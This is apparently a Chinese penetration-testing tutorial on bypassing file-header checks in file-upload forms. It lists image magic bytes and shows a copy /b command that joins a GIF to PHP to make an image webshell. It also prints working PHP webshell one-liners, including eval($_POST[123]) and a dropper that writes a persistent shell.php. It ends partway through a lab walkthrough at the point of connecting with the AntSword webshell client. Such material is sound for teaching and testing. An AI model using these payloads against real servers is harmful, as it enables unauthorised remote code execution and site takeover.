55.网络安全渗透测试—[文件上传篇5]—[文件头检测-突破上传]

我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！

一、文件头检测突破上传

1、文件头检测绕过：修改文件头/制作图片一句话

（1）修改文件头：         JPEG (jpg)，文件头：FFD8FF         PNG (png)，文件头：89504E47         GIF (gif)，文件头：47494638         TIFF (tif)，文件头：49492A00         Windows Bitmap (bmp)，文件头：424D

（2）制作图片一句话：copy 1.gif/b+moon.php shell.php         1.gif是正常的图片         其中moon.php的内容：

<?php phpinfo();?>
<?php eval($_POST[123]);phpinfo();?>
<?php echo 'success!!!';fputs(fopen('shell.php','w'),'<?php phpinfo();eval(\$_POST[123]);?>');?>

2、解题过程：

（1）上传php探针，提示这不是一张图，猜测是文件头检测 （2）上传图片马 （3）蚁剑连接：